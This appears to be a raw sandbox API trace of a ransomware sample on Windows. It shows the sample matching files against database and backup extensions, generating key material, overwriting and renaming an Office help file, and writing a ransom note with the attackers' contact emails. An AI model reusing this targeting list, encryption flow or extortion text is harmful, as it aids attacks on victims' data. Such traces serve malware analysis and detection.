	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".BAK") returned 0x0
	[0080.886] lstrlenW (lpString=".BAC") returned 4
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".BAC") returned 0x0
	[0080.886] lstrlenW (lpString=".dbs") returned 4
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".dbs") returned 0x0
	[0080.886] lstrlenW (lpString=".vhdx") returned 5
	[0080.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".vhdx") returned 0x0
	[0080.887] lstrlenW (lpString=".NDF") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".NDF") returned 0x0
	[0080.887] lstrlenW (lpString=".dat") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".dat") returned 0x0
	[0080.887] lstrlenW (lpString=".DBS") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".DBS") returned 0x0
	[0080.887] lstrlenW (lpString=".CKP") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".CKP") returned 0x0
	[0080.887] lstrlenW (lpString=".edb") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".edb") returned 0x0
	[0080.887] lstrlenW (lpString=".PST") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".PST") returned 0x0
	[0080.887] lstrlenW (lpString=".dbf") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".dbf") returned 0x0
	[0080.887] lstrlenW (lpString=".SQL") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".SQL") returned 0x0
	[0080.887] lstrlenW (lpString=".pst") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".pst") returned 0x0
	[0080.887] lstrlenW (lpString=".dbv") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".dbv") returned 0x0
	[0080.887] lstrlenW (lpString=".SDF") returned 4
	[0080.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".SDF") returned 0x0
	[0080.888] lstrlenW (lpString=".dtxs") returned 5
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".dtxs") returned 0x0
	[0080.888] lstrlenW (lpString=".db3") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".db3") returned 0x0
	[0080.888] lstrlenW (lpString=".OST") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".OST") returned 0x0
	[0080.888] lstrlenW (lpString=".dbx") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".dbx") returned 0x0
	[0080.888] lstrlenW (lpString=".DB3") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".DB3") returned 0x0
	[0080.888] lstrlenW (lpString=".DAT") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".DAT") returned 0x0
	[0080.888] lstrlenW (lpString=".VHDX") returned 5
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".VHDX") returned 0x0
	[0080.888] lstrlenW (lpString=".ndf") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".ndf") returned 0x0
	[0080.888] lstrlenW (lpString=".DB") returned 3
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".DB") returned 0x0
	[0080.888] lstrlenW (lpString=".sql") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".sql") returned 0x0
	[0080.888] lstrlenW (lpString=".MYD") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".MYD") returned 0x0
	[0080.888] lstrlenW (lpString=".DBT") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".DBT") returned 0x0
	[0080.888] lstrlenW (lpString=".ACCDB") returned 6
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".ACCDB") returned 0x0
	[0080.888] lstrlenW (lpString=".fdb") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".fdb") returned 0x0
	[0080.888] lstrlenW (lpString=".bak") returned 4
	[0080.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".bak") returned 0x0
	[0080.889] lstrlenW (lpString=".myd") returned 4
	[0080.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".myd") returned 0x0
	[0080.889] lstrlenW (lpString=".DTXS") returned 5
	[0080.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".DTXS") returned 0x0
	[0080.889] lstrlenW (lpString=".ckp") returned 4
	[0080.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".ckp") returned 0x0
	[0080.889] lstrlenW (lpString=".dbt") returned 4
	[0080.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".dbt") returned 0x0
	[0080.889] lstrlenW (lpString=".db") returned 3
	[0080.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".db") returned 0x0
	[0080.889] lstrlenW (lpString=".TXT") returned 4
	[0080.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".TXT") returned 0x0
	[0080.889] lstrlenW (lpString=".MDF") returned 4
	[0080.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".MDF") returned 0x0
	[0080.889] lstrlenW (lpString=".bdb") returned 4
	[0080.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".bdb") returned 0x0
	[0080.889] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.889] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394860) returned 1
	[0080.890] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.890] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0080.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.891] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20088069170) returned 1
	[0080.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a105650, dwHighDateTime=0x1d60e1e)) 
	[0080.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cce40
	[0080.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cce40 | out: hHeap=0x300000) returned 1
	[0080.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.891] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0080.891] GetLastError () returned 0x0
	[0080.891] GetLastError () returned 0x0
	[0080.892] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0080.892] GetLastError () returned 0x0
	[0080.892] GetLastError () returned 0x0
	[0080.893] ReadFile (in: hFile=0x128, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x10676, lpOverlapped=0x0) returned 1
	[0080.909] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffef98a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.909] WriteFile (in: hFile=0x128, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x10676, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x10676, lpOverlapped=0x0) returned 1
	[0080.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.909] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.909] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.909] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.909] CloseHandle (hObject=0x128) returned 1
	[0080.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff810
	[0080.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.~~~~")) returned 1
	[0080.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff810 | out: hHeap=0x300000) returned 1
	[0080.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.951] GetLastError () returned 0x0
	[0080.951] RtlWakeConditionVariable () returned 0x365f70
	[0080.952] GetCurrentThreadId () returned 0x3a4
	[0080.952] GetCurrentThreadId () returned 0x3a4
	[0080.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0080.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ffbb0 | out: hHeap=0x300000) returned 1
	[0080.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa778 | out: hHeap=0x300000) returned 1
	[0080.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ffbb0
	[0080.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.075] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.075] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.076] CloseHandle (hObject=0x120) returned 1
	[0081.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ffbb0 | out: hHeap=0x300000) returned 1
	[0081.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fefe8 | out: hHeap=0x300000) returned 1
	[0081.077] RtlWakeConditionVariable () returned 0x365f70
	[0081.077] GetCurrentThreadId () returned 0x3a4
	[0081.077] GetCurrentThreadId () returned 0x3a4
	[0081.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0081.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800038 | out: hHeap=0x300000) returned 1
	[0081.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe050 | out: hHeap=0x300000) returned 1
	[0081.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800038
	[0081.077] lstrlenW (lpString=".scr") returned 4
	[0081.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0081.077] lstrlenW (lpString=".cmd") returned 4
	[0081.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0081.077] lstrlenW (lpString=".dll") returned 4
	[0081.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0081.077] lstrlenW (lpString=".bat") returned 4
	[0081.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0081.077] lstrlenW (lpString=".cpl") returned 4
	[0081.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0081.077] lstrlenW (lpString=".sys") returned 4
	[0081.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0081.077] lstrlenW (lpString=".msc") returned 4
	[0081.077] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0081.078] lstrlenW (lpString=".com") returned 4
	[0081.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0081.078] lstrlenW (lpString=".lnk") returned 4
	[0081.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0081.078] lstrlenW (lpString=".msp") returned 4
	[0081.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0081.078] lstrlenW (lpString=".pif") returned 4
	[0081.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0081.078] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.078] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.084] lstrlenW (lpString=".sqb") returned 4
	[0081.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0081.084] lstrlenW (lpString=".ost") returned 4
	[0081.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0081.084] lstrlenW (lpString=".txt") returned 4
	[0081.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0081.084] lstrlenW (lpString=".mdt") returned 4
	[0081.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0081.084] lstrlenW (lpString=".BDB") returned 4
	[0081.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0081.084] lstrlenW (lpString=".eql") returned 4
	[0081.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0081.084] lstrlenW (lpString=".DBF") returned 4
	[0081.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0081.084] lstrlenW (lpString=".EQL") returned 4
	[0081.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0081.084] lstrlenW (lpString=".FDB") returned 4
	[0081.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0081.084] lstrlenW (lpString=".EDB") returned 4
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0081.085] lstrlenW (lpString=".DACPAC") returned 7
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0081.085] lstrlenW (lpString=".VHD") returned 4
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0081.085] lstrlenW (lpString=".DBV") returned 4
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0081.085] lstrlenW (lpString=".dacpac") returned 7
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0081.085] lstrlenW (lpString=".sdf") returned 4
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0081.085] lstrlenW (lpString=".accdb") returned 6
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0081.085] lstrlenW (lpString=".DBX") returned 4
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0081.085] lstrlenW (lpString=".MDT") returned 4
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0081.085] lstrlenW (lpString=".SQB") returned 4
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0081.085] lstrlenW (lpString=".vhd") returned 4
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0081.085] lstrlenW (lpString=".bac") returned 4
	[0081.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0081.085] lstrlenW (lpString=".mdf") returned 4
	[0081.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0081.086] lstrlenW (lpString=".BAK") returned 4
